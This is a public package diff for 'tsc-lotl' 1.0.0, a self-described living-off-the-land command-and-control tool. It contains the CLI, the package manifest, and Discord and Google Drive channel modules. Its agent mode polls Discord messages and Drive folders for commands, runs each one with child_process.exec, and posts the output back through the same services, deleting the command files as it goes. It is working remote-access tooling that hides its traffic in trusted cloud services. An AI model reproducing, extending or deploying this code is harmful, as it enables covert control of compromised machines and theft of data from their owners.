tsc-lotl 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,226 @@
1
+ #!/usr/bin/env node
2
+
3
+ const minimist = require('minimist');
4
+ const path = require('path');
5
+ const fs = require('fs');
6
+ const LotlC2 = require('../src/lotl-c2');
7
+
8
+ const argv = minimist(process.argv.slice(2));
9
+ const cmd = argv._[0];
10
+
11
+ function showHelp() {
12
+ console.log(`
13
+ tsc-lotl — Living-off-the-Land C2 Tool v1.0.0
14
+
15
+ Usage:
16
+ tsc-lotl server --config <path> Start C2 server listening on all channels
17
+ tsc-lotl agent --config <path> --id <id> Start agent polling all channels
18
+ tsc-lotl send --channel <ch> --agent <id> --cmd <cmd> Send a single command
19
+ tsc-lotl config init Generate a blank config template
20
+ tsc-lotl channels List all available channels with status
21
+ tsc-lotl help Show this help message
22
+
23
+ Channels: gdrive, github, notion, slack, discord
24
+ `);
25
+ }
26
+
27
+ function generateConfig() {
28
+ const template = {
29
+ encryptionKey: 'CHANGE_ME_TO_A_32_CHAR_KEY____',
30
+ channelPriority: ['gdrive', 'github', 'notion', 'slack', 'discord'],
31
+ channels: {
32
+ gdrive: {
33
+ accessToken: 'YOUR_GOOGLE_DRIVE_ACCESS_TOKEN',
34
+ folderName: '.tsc_lotl_c2'
35
+ },
36
+ github: {
37
+ token: 'YOUR_GITHUB_PERSONAL_ACCESS_TOKEN',
38
+ gistPrefix: 'tsc-lotl-cmd-'
39
+ },
40
+ notion: {
41
+ apiKey: 'YOUR_NOTION_INTEGRATION_TOKEN',
42
+ databaseId: 'YOUR_NOTION_DATABASE_ID'
43
+ },
44
+ slack: {
45
+ webhookUrl: 'https://hooks.slack.com/services/YOUR/WEBHOOK/URL',
46
+ token: 'YOUR_SLACK_BOT_TOKEN',
47
+ channelId: 'YOUR_SLACK_CHANNEL_ID'
48
+ },
49
+ discord: {
50
+ webhookId: 'YOUR_DISCORD_WEBHOOK_ID',
51
+ webhookToken: 'YOUR_DISCORD_WEBHOOK_TOKEN',
52
+ botToken: 'YOUR_DISCORD_BOT_TOKEN',
53
+ channelId: 'YOUR_DISCORD_CHANNEL_ID'
54
+ }
55
+ }
56
+ };
57
+
58
+ const outPath = path.resolve('tsc-lotl-config.json');
59
+ fs.writeFileSync(outPath, JSON.stringify(template, null, 2));
60
+ console.log(`Config template written to: ${outPath}`);
61
+ }
62
+
63
+ async function listChannels(configPath) {
64
+ const c2 = new LotlC2(configPath);
65
+ console.log('\nChannel status:');
66
+ console.log('─'.repeat(40));
67
+ for (const ch of c2.channelPriority) {
68
+ if (c2.channels[ch]) {
69
+ process.stdout.write(`${ch} ... testing ...`);
70
+ const status = await c2.testChannel(ch);
71
+ process.stdout.clearLine();
72
+ process.stdout.cursorTo(0);
73
+ console.log(`${ch.padEnd(12)} ${status.status}`);
74
+ }
75
+ }
76
+ }
77
+
78
+ async function runServer(configPath) {
79
+ const c2 = new LotlC2(configPath);
80
+ console.log('[tsc-lotl] C2 Server started');
81
+ console.log(`[tsc-lotl] Channels: ${c2.channelPriority.filter(ch => c2.channels[ch]).join(', ')}`);
82
+ console.log('[tsc-lotl] Listening for agent commands...');
83
+
84
+ const activeChannels = c2.channelPriority.filter(ch => c2.channels[ch] && typeof c2.channels[ch].pollResults === 'function');
85
+
86
+ const pollInterval = setInterval(async () => {
87
+ for (const ch of activeChannels) {
88
+ const status = c2.channelStatus[ch];
89
+ const display = status === 'up' ? '✓' : status === 'down' ? '✗' : '?';
90
+ process.stdout.write(`\r[${display}] ${ch} — polling for results... \n`);
91
+ }
92
+
93
+ const allResults = await c2.pollAllResults();
94
+ for (const item of allResults) {
95
+ const ts = item.timestamp ? new Date(item.timestamp).toLocaleTimeString() : '?';
96
+ console.log(`[${ts}] [${item.channel}] Result from ${item.agentId}:`);
97
+ console.log(` ${item.result}`);
98
+ }
99
+ }, 30000);
100
+
101
+ process.on('SIGINT', () => {
102
+ clearInterval(pollInterval);
103
+ console.log('\n[tsc-lotl] Server shutting down');
104
+ process.exit(0);
105
+ });
106
+
107
+ // Keep alive
108
+ await new Promise(() => {});
109
+ }
110
+
111
+ async function runAgent(configPath, agentId) {
112
+ const c2 = new LotlC2(configPath);
113
+ console.log(`[tsc-lotl] Agent "${agentId}" started`);
114
+ console.log('[tsc-lotl] Polling all channels for commands...');
115
+
116
+ const activeChannels = c2.channelPriority.filter(ch => c2.channels[ch]);
117
+
118
+ const poll = async () => {
119
+ for (const ch of activeChannels) {
120
+ try {
121
+ const commands = await c2.pollCommands(ch, agentId);
122
+ for (const cmd of commands) {
123
+ console.log(`[${ch}] Received command: ${cmd.command}`);
124
+ try {
125
+ const execResult = await executeCommand(cmd.command);
126
+ console.log(`[${ch}] Result: ${execResult}`);
127
+ await c2.sendResult(ch, agentId, execResult);
128
+ } catch (execErr) {
129
+ console.error(`[${ch}] Command error: ${execErr.message}`);
130
+ await c2.sendResult(ch, agentId, `ERROR: ${execErr.message}`);
131
+ }
132
+ }
133
+ } catch (err) {
134
+ // channel unavailable
135
+ }
136
+ }
137
+ };
138
+
139
+ await poll();
140
+ setInterval(poll, 15000);
141
+
142
+ process.on('SIGINT', () => {
143
+ console.log('\n[tsc-lotl] Agent shutting down');
144
+ process.exit(0);
145
+ });
146
+ }
147
+
148
+ function executeCommand(cmd) {
149
+ return new Promise((resolve, reject) => {
150
+ const cp = require('child_process');
151
+ cp.exec(cmd, { timeout: 30000 }, (err, stdout, stderr) => {
152
+ if (err) {
153
+ reject(new Error(err.message + (stderr ? ': ' + stderr : '')));
154
+ } else {
155
+ resolve(stdout || '(no output)');
156
+ }
157
+ });
158
+ });
159
+ }
160
+
161
+ async function sendCommand(configPath, channel, agentId, command) {
162
+ const c2 = new LotlC2(configPath);
163
+ try {
164
+ const result = await c2.sendCommand(channel, agentId, command);
165
+ console.log(`Command sent via ${channel}: ${JSON.stringify(result)}`);
166
+ } catch (err) {
167
+ console.error(`Failed to send command: ${err.message}`);
168
+ process.exit(1);
169
+ }
170
+ }
171
+
172
+ async function main() {
173
+ switch (cmd) {
174
+ case 'server':
175
+ if (!argv.config) {
176
+ console.error('Error: --config is required');
177
+ process.exit(1);
178
+ }
179
+ await runServer(path.resolve(argv.config));
180
+ break;
181
+
182
+ case 'agent':
183
+ if (!argv.config || !argv.id) {
184
+ console.error('Error: --config and --id are required');
185
+ process.exit(1);
186
+ }
187
+ await runAgent(path.resolve(argv.config), argv.id);
188
+ break;
189
+
190
+ case 'send':
191
+ if (!argv.config || !argv.channel || !argv.agent || !argv.cmd) {
192
+ console.error('Error: --config, --channel, --agent, and --cmd are required');
193
+ process.exit(1);
194
+ }
195
+ await sendCommand(path.resolve(argv.config), argv.channel, argv.agent, argv.cmd);
196
+ break;
197
+
198
+ case 'config':
199
+ if (argv._[1] === 'init') {
200
+ generateConfig();
201
+ } else {
202
+ console.error('Usage: tsc-lotl config init');
203
+ process.exit(1);
204
+ }
205
+ break;
206
+
207
+ case 'channels':
208
+ if (!argv.config) {
209
+ console.error('Error: --config is required');
210
+ process.exit(1);
211
+ }
212
+ await listChannels(path.resolve(argv.config));
213
+ break;
214
+
215
+ case 'help':
216
+ case undefined:
217
+ default:
218
+ showHelp();
219
+ break;
220
+ }
221
+ }
222
+
223
+ main().catch(err => {
224
+ console.error(`Error: ${err.message}`);
225
+ process.exit(1);
226
+ });
package/package.json ADDED
@@ -0,0 +1,14 @@
1
+ {
2
+ "name": "tsc-lotl",
3
+ "version": "1.0.0",
4
+ "description": "Living-off-the-Land C2 — Google Drive, GitHub Gists, Notion, Slack",
5
+ "main": "src/lotl-c2.js",
6
+ "bin": {
7
+ "tsc-lotl": "bin/tsc-lotl.js"
8
+ },
9
+ "dependencies": {
10
+ "minimist": "1.2.8"
11
+ },
12
+ "author": "SURUJ404",
13
+ "license": "GPL-3.0"
14
+ }
@@ -0,0 +1,164 @@
1
+ const https = require('https');
2
+
3
+ class Discord {
4
+ constructor(config) {
5
+ this.webhookId = config.webhookId;
6
+ this.webhookToken = config.webhookToken;
7
+ this.botToken = config.botToken;
8
+ this.channelId = config.channelId;
9
+ this.commandPrefix = '!c2';
10
+ this.apiBase = 'discord.com';
11
+ this._lastPollId = '0';
12
+ }
13
+
14
+ _request(opts, body) {
15
+ return new Promise((resolve, reject) => {
16
+ const req = https.request(opts, (res) => {
17
+ let data = '';
18
+ res.on('data', chunk => data += chunk);
19
+ res.on('end', () => {
20
+ try {
21
+ const parsed = JSON.parse(data);
22
+ if (res.statusCode >= 200 && res.statusCode < 300) {
23
+ resolve(parsed);
24
+ } else {
25
+ reject(new Error(`Discord API error ${res.statusCode}: ${JSON.stringify(parsed)}`));
26
+ }
27
+ } catch (e) {
28
+ reject(new Error(`Discord API error ${res.statusCode}: ${data}`));
29
+ }
30
+ });
31
+ });
32
+ req.on('error', reject);
33
+ if (body) req.write(typeof body === 'string' ? body : JSON.stringify(body));
34
+ req.end();
35
+ });
36
+ }
37
+
38
+ async sendCommand(agentId, b64Payload) {
39
+ const content = `${this.commandPrefix} ${agentId}: ${b64Payload}`;
40
+
41
+ if (this.webhookId && this.webhookToken) {
42
+ const result = await this._request({
43
+ hostname: this.apiBase,
44
+ path: `/api/webhooks/${this.webhookId}/${this.webhookToken}`,
45
+ method: 'POST',
46
+ headers: { 'Content-Type': 'application/json' }
47
+ }, { content });
48
+ return { id: result.id };
49
+ }
50
+
51
+ if (this.botToken && this.channelId) {
52
+ const result = await this._request({
53
+ hostname: this.apiBase,
54
+ path: `/api/channels/${this.channelId}/messages`,
55
+ method: 'POST',
56
+ headers: {
57
+ 'Authorization': `Bot ${this.botToken}`,
58
+ 'Content-Type': 'application/json'
59
+ }
60
+ }, { content });
61
+ return { id: result.id };
62
+ }
63
+
64
+ throw new Error('Discord: no webhook or bot token configured');
65
+ }
66
+
67
+ async pollCommands(agentId) {
68
+ if (!this.botToken || !this.channelId) {
69
+ throw new Error('Discord: botToken and channelId required for polling');
70
+ }
71
+
72
+ const messages = await this._request({
73
+ hostname: this.apiBase,
74
+ path: `/api/channels/${this.channelId}/messages?limit=50&after=${this._lastPollId}`,
75
+ method: 'GET',
76
+ headers: {
77
+ 'Authorization': `Bot ${this.botToken}`
78
+ }
79
+ });
80
+
81
+ if (!Array.isArray(messages)) {
82
+ throw new Error('Discord: unexpected response format');
83
+ }
84
+
85
+ const commands = [];
86
+ const prefix = `${this.commandPrefix} ${agentId}:`;
87
+
88
+ for (const msg of messages) {
89
+ if (msg.content && msg.content.startsWith(prefix)) {
90
+ const b64Payload = msg.content.substring(prefix.length).trim();
91
+
92
+ commands.push({
93
+ id: msg.id,
94
+ agentId,
95
+ command: b64Payload,
96
+ timestamp: msg.timestamp
97
+ });
98
+ }
99
+ }
100
+
101
+ if (messages.length > 0) {
102
+ this._lastPollId = messages[0].id;
103
+ }
104
+
105
+ return commands;
106
+ }
107
+
108
+ async sendResult(agentId, b64Payload) {
109
+ const content = `${this.commandPrefix} result ${agentId}: ${b64Payload}`;
110
+
111
+ if (this.webhookId && this.webhookToken) {
112
+ const result = await this._request({
113
+ hostname: this.apiBase,
114
+ path: `/api/webhooks/${this.webhookId}/${this.webhookToken}`,
115
+ method: 'POST',
116
+ headers: { 'Content-Type': 'application/json' }
117
+ }, { content });
118
+ return { id: result.id };
119
+ }
120
+
121
+ if (this.botToken && this.channelId) {
122
+ const result = await this._request({
123
+ hostname: this.apiBase,
124
+ path: `/api/channels/${this.channelId}/messages`,
125
+ method: 'POST',
126
+ headers: {
127
+ 'Authorization': `Bot ${this.botToken}`,
128
+ 'Content-Type': 'application/json'
129
+ }
130
+ }, { content });
131
+ return { id: result.id };
132
+ }
133
+
134
+ throw new Error('Discord: no webhook or bot token configured');
135
+ }
136
+
137
+ async test() {
138
+ try {
139
+ if (this.webhookId && this.webhookToken) {
140
+ await this._request({
141
+ hostname: this.apiBase,
142
+ path: `/api/webhooks/${this.webhookId}/${this.webhookToken}`,
143
+ method: 'POST',
144
+ headers: { 'Content-Type': 'application/json' }
145
+ }, { content: 'tsc-lotl test' });
146
+ return true;
147
+ }
148
+ if (this.botToken) {
149
+ const result = await this._request({
150
+ hostname: this.apiBase,
151
+ path: '/api/users/@me',
152
+ method: 'GET',
153
+ headers: { 'Authorization': `Bot ${this.botToken}` }
154
+ });
155
+ return !!result.id;
156
+ }
157
+ return false;
158
+ } catch {
159
+ return false;
160
+ }
161
+ }
162
+ }
163
+
164
+ module.exports = Discord;
@@ -0,0 +1,272 @@
1
+ const https = require('https');
2
+ const crypto = require('crypto');
3
+
4
+ class GDrive {
5
+ constructor(config) {
6
+ this.accessToken = config.accessToken;
7
+ this.serviceAccount = config.serviceAccount || null;
8
+ this.folderName = config.folderName || '.tsc_lotl_c2';
9
+ this.resultsFolderName = config.resultsFolderName || '.tsc_lotl_results';
10
+ this.folderId = null;
11
+ this.resultsFolderId = null;
12
+ this.apiBase = 'www.googleapis.com';
13
+ }
14
+
15
+ _request(method, path, body, token) {
16
+ return new Promise((resolve, reject) => {
17
+ const opts = {
18
+ hostname: this.apiBase,
19
+ path,
20
+ method,
21
+ headers: {
22
+ 'Authorization': `Bearer ${token || this.accessToken}`,
23
+ 'Content-Type': 'application/json'
24
+ }
25
+ };
26
+
27
+ const req = https.request(opts, (res) => {
28
+ let data = '';
29
+ res.on('data', chunk => data += chunk);
30
+ res.on('end', () => {
31
+ try {
32
+ const parsed = JSON.parse(data);
33
+ if (res.statusCode >= 200 && res.statusCode < 300) {
34
+ resolve(parsed);
35
+ } else {
36
+ reject(new Error(`GDrive API error ${res.statusCode}: ${JSON.stringify(parsed)}`));
37
+ }
38
+ } catch (e) {
39
+ if (res.statusCode >= 200 && res.statusCode < 300) {
40
+ resolve(data);
41
+ } else {
42
+ reject(new Error(`GDrive API error ${res.statusCode}: ${data}`));
43
+ }
44
+ }
45
+ });
46
+ });
47
+
48
+ req.on('error', reject);
49
+ if (body) req.write(JSON.stringify(body));
50
+ req.end();
51
+ });
52
+ }
53
+
54
+ async _ensureFolder(folderName, parentId) {
55
+ const query = encodeURIComponent(`name='${folderName}' and mimeType='application/vnd.google-apps.folder'${parentId ? ` and '${parentId}' in parents` : ''} and trashed=false`);
56
+ const search = await this._request('GET', `/drive/v3/files?q=${query}&fields=files(id,name)`, null);
57
+
58
+ if (search.files && search.files.length > 0) {
59
+ return search.files[0].id;
60
+ }
61
+
62
+ const meta = {
63
+ name: folderName,
64
+ mimeType: 'application/vnd.google-apps.folder'
65
+ };
66
+ if (parentId) meta.parents = [parentId];
67
+
68
+ const created = await this._request('POST', '/drive/v3/files?fields=id', meta);
69
+ return created.id;
70
+ }
71
+
72
+ async _getFolders() {
73
+ if (!this.folderId) {
74
+ this.folderId = await this._ensureFolder(this.folderName);
75
+ }
76
+ if (!this.resultsFolderId) {
77
+ this.resultsFolderId = await this._ensureFolder(this.resultsFolderName, this.folderId);
78
+ }
79
+ return { cmd: this.folderId, results: this.resultsFolderId };
80
+ }
81
+
82
+ async sendCommand(agentId, b64Payload) {
83
+ const folders = await this._getFolders();
84
+ const timestamp = Date.now();
85
+ const filename = `cmd_${agentId}_${timestamp}.json`;
86
+
87
+ const fileContent = JSON.stringify({
88
+ agentId,
89
+ command: b64Payload,
90
+ timestamp: new Date().toISOString()
91
+ });
92
+
93
+ const meta = {
94
+ name: filename,
95
+ parents: [folders.cmd],
96
+ mimeType: 'application/json'
97
+ };
98
+
99
+ const boundary = 'boundary' + crypto.randomBytes(8).toString('hex');
100
+ const body =
101
+ `--${boundary}\r\n` +
102
+ `Content-Type: application/json; charset=UTF-8\r\n\r\n` +
103
+ `${JSON.stringify(meta)}\r\n` +
104
+ `--${boundary}\r\n` +
105
+ `Content-Type: application/json\r\n\r\n` +
106
+ `${fileContent}\r\n` +
107
+ `--${boundary}--`;
108
+
109
+ return new Promise((resolve, reject) => {
110
+ const opts = {
111
+ hostname: this.apiBase,
112
+ path: '/upload/drive/v3/files?uploadType=multipart&fields=id,name',
113
+ method: 'POST',
114
+ headers: {
115
+ 'Authorization': `Bearer ${this.accessToken}`,
116
+ 'Content-Type': `multipart/related; boundary=${boundary}`,
117
+ 'Content-Length': Buffer.byteLength(body)
118
+ }
119
+ };
120
+
121
+ const req = https.request(opts, (res) => {
122
+ let data = '';
123
+ res.on('data', chunk => data += chunk);
124
+ res.on('end', () => {
125
+ try {
126
+ const parsed = JSON.parse(data);
127
+ if (res.statusCode >= 200 && res.statusCode < 300) {
128
+ resolve(parsed);
129
+ } else {
130
+ reject(new Error(`GDrive upload error ${res.statusCode}: ${JSON.stringify(parsed)}`));
131
+ }
132
+ } catch (e) {
133
+ reject(new Error(`GDrive upload error: ${data}`));
134
+ }
135
+ });
136
+ });
137
+ req.on('error', reject);
138
+ req.write(body);
139
+ req.end();
140
+ });
141
+ }
142
+
143
+ async pollCommands(agentId) {
144
+ const folders = await this._getFolders();
145
+ const query = encodeURIComponent(`'${folders.cmd}' in parents and name contains 'cmd_${agentId}' and trashed=false`);
146
+ const list = await this._request('GET', `/drive/v3/files?q=${query}&fields=files(id,name)`, null);
147
+
148
+ if (!list.files || list.files.length === 0) return [];
149
+
150
+ const results = [];
151
+ for (const file of list.files) {
152
+ try {
153
+ const content = await this._request('GET', `/drive/v3/files/${file.id}?alt=media`, null);
154
+ const parsed = JSON.parse(content);
155
+ results.push({
156
+ id: file.id,
157
+ agentId: parsed.agentId,
158
+ command: parsed.command,
159
+ timestamp: parsed.timestamp,
160
+ fileId: file.id
161
+ });
162
+
163
+ await this._request('DELETE', `/drive/v3/files/${file.id}`, null);
164
+ } catch (e) {
165
+ // skip files that fail
166
+ }
167
+ }
168
+ return results;
169
+ }
170
+
171
+ async sendResult(agentId, b64Payload) {
172
+ const folders = await this._getFolders();
173
+ const timestamp = Date.now();
174
+ const filename = `result_${agentId}_${timestamp}.json`;
175
+
176
+ const fileContent = JSON.stringify({
177
+ agentId,
178
+ result: b64Payload,
179
+ timestamp: new Date().toISOString()
180
+ });
181
+
182
+ const meta = {
183
+ name: filename,
184
+ parents: [folders.results],
185
+ mimeType: 'application/json'
186
+ };
187
+
188
+ const boundary = 'boundary' + crypto.randomBytes(8).toString('hex');
189
+ const body =
190
+ `--${boundary}\r\n` +
191
+ `Content-Type: application/json; charset=UTF-8\r\n\r\n` +
192
+ `${JSON.stringify(meta)}\r\n` +
193
+ `--${boundary}\r\n` +
194
+ `Content-Type: application/json\r\n\r\n` +
195
+ `${fileContent}\r\n` +
196
+ `--${boundary}--`;
197
+
198
+ return new Promise((resolve, reject) => {
199
+ const opts = {
200
+ hostname: this.apiBase,
201
+ path: '/upload/drive/v3/files?uploadType=multipart&fields=id,name',
202
+ method: 'POST',
203
+ headers: {
204
+ 'Authorization': `Bearer ${this.accessToken}`,
205
+ 'Content-Type': `multipart/related; boundary=${boundary}`,
206
+ 'Content-Length': Buffer.byteLength(body)
207
+ }
208
+ };
209
+
210
+ const req = https.request(opts, (res) => {
211
+ let data = '';
212
+ res.on('data', chunk => data += chunk);
213
+ res.on('end', () => {
214
+ try {
215
+ const parsed = JSON.parse(data);
216
+ if (res.statusCode >= 200 && res.statusCode < 300) {
217
+ resolve(parsed);
218
+ } else {
219
+ reject(new Error(`GDrive upload error ${res.statusCode}: ${JSON.stringify(parsed)}`));
220
+ }
221
+ } catch (e) {
222
+ reject(new Error(`GDrive upload error: ${data}`));
223
+ }
224
+ });
225
+ });
226
+ req.on('error', reject);
227
+ req.write(body);
228
+ req.end();
229
+ });
230
+ }
231
+
232
+ async pollResults(agentId) {
233
+ try {
234
+ const folders = await this._getFolders();
235
+ const query = encodeURIComponent(`'${folders.results}' in parents and trashed=false`);
236
+ const list = await this._request('GET', `/drive/v3/files?q=${query}&fields=files(id,name)`, null);
237
+
238
+ if (!list.files || list.files.length === 0) return [];
239
+
240
+ const results = [];
241
+ for (const file of list.files) {
242
+ try {
243
+ const content = await this._request('GET', `/drive/v3/files/${file.id}?alt=media`, null);
244
+ const parsed = JSON.parse(content);
245
+ results.push({
246
+ id: file.id,
247
+ agentId: parsed.agentId,
248
+ result: parsed.result,
249
+ timestamp: parsed.timestamp
250
+ });
251
+ await this._request('DELETE', `/drive/v3/files/${file.id}`, null);
252
+ } catch (e) {
253
+ // skip
254
+ }
255
+ }
256
+ return results;
257
+ } catch (e) {
258
+ return [];
259
+ }
260
+ }
261
+
262
+ async test() {
263
+ try {
264
+ await this._request('GET', '/drive/v3/about?fields=user', null);
265
+ return true;
266
+ } catch {
267
+ return false;
268
+ }
269
+ }
270
+ }
271
+
272
+ module.exports = GDrive;